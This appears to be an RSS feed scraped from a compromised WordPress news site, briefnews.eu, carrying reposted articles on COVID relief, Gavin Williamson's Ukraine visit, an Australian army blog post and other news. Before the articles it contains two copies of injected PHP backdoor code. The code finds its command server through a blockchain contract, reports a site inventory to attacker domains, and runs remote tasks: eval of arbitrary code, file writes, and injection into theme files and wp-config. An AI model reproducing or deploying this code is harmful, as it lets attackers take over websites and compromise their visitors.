// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); frontline – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 08 May 2020 23:39:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png frontline – Brief News https://briefnews.eu 32 32 Penske Media Corporation Launches ‘Hail the Heroes’ Initiative With Team Rubicon to Thank Frontline Workers and Raise Funds for COVID-19 Relief https://briefnews.eu/penske-media-corporation-launches-hail-the-heroes-initiative-with-team-rubicon-to-thank-frontline-workers-and-raise-funds-for-covid-19-relief/ https://briefnews.eu/penske-media-corporation-launches-hail-the-heroes-initiative-with-team-rubicon-to-thank-frontline-workers-and-raise-funds-for-covid-19-relief/#respond Fri, 08 May 2020 23:39:03 +0000 https://briefnews.eu/penske-media-corporation-launches-hail-the-heroes-initiative-with-team-rubicon-to-thank-frontline-workers-and-raise-funds-for-covid-19-relief/

TVLine and our parent company Penske Media Corporation have launched Hail the Heroes, a thank you initiative to raise funds for Team Rubicon and their efforts around the COVID-19 crisis.

Leaders from across PMC’s portfolio of media brands have joined together with stars in the entertainment, fashion, beauty, sports, music, and art industries to express a collective gratitude for those working on the frontlines of this pandemic. Together, we have put together a video to drive awareness and funds for #NeighborsHelpingNeighbors, Team Rubicon’s initiative to support COVID-19 responses around the country. PMC has made a donation to Team Rubicon’s COVID-19 efforts, in addition to matching all PMC employee donations to this organization.

The coronavirus pandemic has created an unprecedented effect on the world, and we at TVLine and PMC want to do our part to acknowledge the incredible sacrifice and heroism shown by our healthcare workers, grocery store clerks, delivery people, and everyone on the frontlines of this crisis. We, along with over 120 people in the industries our 20 PMC brands cover have put together a video expressing our appreciation.

We have partnered with Team Rubicon, a 501(c)(3) non-profit that utilizes the skills and experiences of military veterans with first responders to rapidly deploy emergency response teams. Amid the COVID-19 outbreak, the organization launched the #NeighborsHelpingNeighbors initiative, providing volunteers, known as Greyshirts, the opportunity to perform individual acts of service to help vulnerable neighbors that may need support. Greyshirts are also providing assistance through food banks and delivery services to food-insecure populations, while helping with coordination and logistics to best support those in temporary quarantine. 

Giving back is a core value at Penske Media Corporation and is at the crux of PMC Cares. PMC employees donate 2% of their time or income annually to non-profits in their communities. In addition to funding employees’ volunteer hours, PMC also provides in-kind and cash donations to 501(c)(3) organizations throughout the year via media partnerships, charity-highlighting events and fundraising contributions. During the current worldwide crisis, we are proud to partner with an organization like Team Rubicon that is working tirelessly to give back.

Donations to Team Rubicon can be made online or by texting PMCTR to 44-321.

Support Hail the Heroes, a thank you initiative spearheaded by PMC to raise funds for Team Rubicon’s COVID-19 efforts. For more information, go to pmc.com/hailtheheroes or click the below donation widget.

Let’s block ads! (Why?)


https://pmctvline2.files.wordpress.com/2020/05/hail-the-heroes.jpg

]]> https://briefnews.eu/penske-media-corporation-launches-hail-the-heroes-initiative-with-team-rubicon-to-thank-frontline-workers-and-raise-funds-for-covid-19-relief/feed/ 0 UK’s Def Sec Gavin ‘Russia should shut up’ Williamson tours Ukraine’s ‘frontline’ https://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/ https://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/#respond Wed, 19 Sep 2018 16:00:22 +0000 http://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/

British Defense Secretary Gavin Williamson has visited Ukraine and toured the eastern part of the country, where Ukrainian officials told him how they are fighting against a “Russian aggression.”

Two regions of Ukraine are divided between rebel-controlled parts and those under control of the central government in Kiev. Ukrainian officials regularly host tours for foreign dignitaries to show off its military, which, Kiev insists, is fighting Russian aggression rather than its own people who rejected the 2014 armed coup in Kiev.

Defence Secretary Gavin Williamson is the latest such visitor to be snatched by hosts and brought to what can be loosely called the frontline. Gen. Sergey Naev, the commander of Ukraine’s military crackdown on the rebels personally told the visiting Briton about his successes and needs and “thanked the government and the people of Britain for supporting Ukraine in her fight with the insidious enemy,” as the Facebook page of his task force put it.

READ MORE: ‘Criminal’ Roger Waters blacklisted by Ukraine over Russian interviews

Hearing such things about Russia was probably appreciated by the British secretary, whose anti-Russian stance is no secret. Williamson famously told Moscow to “go away and shut up” shortly after Britain expelled 23 Russian diplomats in the aftermath of the Skripal poisoning and has been relentless in drumming up the specter of Russian aggression to secure extra taxpayer money. At least he seems to be quite happy shaking hands with Ukrainian soldiers. Or maybe it’s just that manly helmet and bulletproof vest that did the trick.

Of course, visiting Ukraine must feel like a great reprieve. There pretty much any foreign official with a grudge against Russia gets a king’s welcome. And Williamson doesn’t even work for the International Monetary Fund, so he didn’t have to twist any arms, pushing for yet another hike of gas prices or subsidy cut.

In Ukraine, the media called Williams a good friend of the country and didn’t ridicule his habit of keeping a giant tarantula in the office or suggest that mounting a few big guns on a tractor is a viable alternative to buying tanks. And if his speech to the local lawmakers is interrupted by Siri, nobody would probably care – the Ukrainian parliament witnessed things much weirder.

And certainly if Williamson were to find some even more rude words about Russia, he would not be grilled for them in a live interview. He’d have a street in Kiev named after him or something.

Like this story? Share it with a friend!

Let’s block ads! (Why?)

]]> https://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/feed/ 0 Media goes berserk over ‘frontline prostitutes’ considered by Aussie army captain to combat stress https://briefnews.eu/media-goes-berserk-over-frontline-prostitutes-considered-by-aussie-army-captain-to-combat-stress/ https://briefnews.eu/media-goes-berserk-over-frontline-prostitutes-considered-by-aussie-army-captain-to-combat-stress/#respond Mon, 04 Dec 2017 12:41:43 +0000 http://briefnews.eu/media-goes-berserk-over-frontline-prostitutes-considered-by-aussie-army-captain-to-combat-stress/

An Australian Army officer who researched the stress-relieving powers of sex workers for anxiety-ridden troops has left media outlets clutching their pearls. The indecent proposal was featured on an official army blog but was later removed.

In an article titled ‘Sex And War – A Conversation Army Has to Have,’ Captain Sally Williamson wrote that she wanted to “start a conversation” about “giving ADF [Australian Defense Force] members (both male and female) the opportunity to have consensual sex during a deployment on a warlike operation.” She argued that “improved intimacy and sexual interaction can help combat veterans with PTSD recovery.”

Read more

© U.S. Army / Reuters

The article, which was posted to the Australian Army’s official Land Power Forum blog before being removed, included 23 citations and explored the complicated and often distressing history of sex workers in modern war. Commenting on the prickly topic of sex in the military, Williamson noted that the ADF provides virtually no guidance on “sexual satisfaction through … means such as the use of sex toys, masturbation, and the use of prostitutes during rest and relief.”

“I considered whether the Army could contract Australian male and female sex workers to service troops in forward operating bases and air bases,” wrote Williamson. “However, after some research, I quickly realized there are too many moral, legal, practical, medical and logistical barriers for this concept to be entertained,” she concluded.

Western media outlets quickly pounced on Williamson’s blog post with clickbait headlines such as “Australian army captain says prostitutes should be allowed,” “Army captain calls for prostitutes to visit soldiers on the front line to relieve stress,” and “Australian army captain recommends soldiers should be visited on the front lines by PROSTITUTES to ‘relieve stress.’”

According to the Daily Telegraph, an ADF spokesman said Williamson’s article was “not intended for the Land Power Forum and does not reflect Defense policy.”

“The Land Power Forum provides a discussion space for appropriately informed analysis, commentary, thoughts, and ideas among military practitioners, interested stakeholders and subject matter experts,” the spokesman added. “Defense policy on conduct in the workplace has not changed.”

Removed from the Land Power Forum on November 15, Williamson’s article points out that Australian military chiefs were too “nervous” to talk about sex in the wake of a string of sexual scandals, but suggested that nevertheless a “conversation about sexual activism and regulation on deployment is worth having.”

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/media-goes-berserk-over-frontline-prostitutes-considered-by-aussie-army-captain-to-combat-stress/feed/ 0 Drug monitoring won’t address causes of addiction, front-line worker says https://briefnews.eu/drug-monitoring-wont-address-causes-of-addiction-front-line-worker-says/ https://briefnews.eu/drug-monitoring-wont-address-causes-of-addiction-front-line-worker-says/#respond Wed, 02 Aug 2017 16:35:24 +0000 http://briefnews.eu/drug-monitoring-wont-address-causes-of-addiction-front-line-worker-says/ Prescription pills

The provincial government is working on the second phase of its long-awaited New Brunswick prescription monitoring program, aiming to give pharmacists the ability to see who may be misusing prescriptions for addictive drugs in real time.

CBC | Health News

]]> https://briefnews.eu/drug-monitoring-wont-address-causes-of-addiction-front-line-worker-says/feed/ 0 Trump to Lebanese premier: ‘You’re on frontline of fighting ISIS, Al-Qaeda – and Hezbollah’ https://briefnews.eu/trump-to-lebanese-premier-youre-on-frontline-of-fighting-isis-al-qaeda-and-hezbollah/ https://briefnews.eu/trump-to-lebanese-premier-youre-on-frontline-of-fighting-isis-al-qaeda-and-hezbollah/#respond Tue, 25 Jul 2017 22:27:12 +0000 http://briefnews.eu/trump-to-lebanese-premier-youre-on-frontline-of-fighting-isis-al-qaeda-and-hezbollah/ President Trump agreed with Lebanese Prime Minister Saad Hariri they will continue to fight terrorism. Falling short of mentioning funding for military support, the president talked only of continued humanitarian support of Syrian refugees in Lebanon.

Trump told Hariri at a White House news conference on Tuesday the US has helped Lebanon by providing clean water, food, shelter and health care to Syrian refugees.

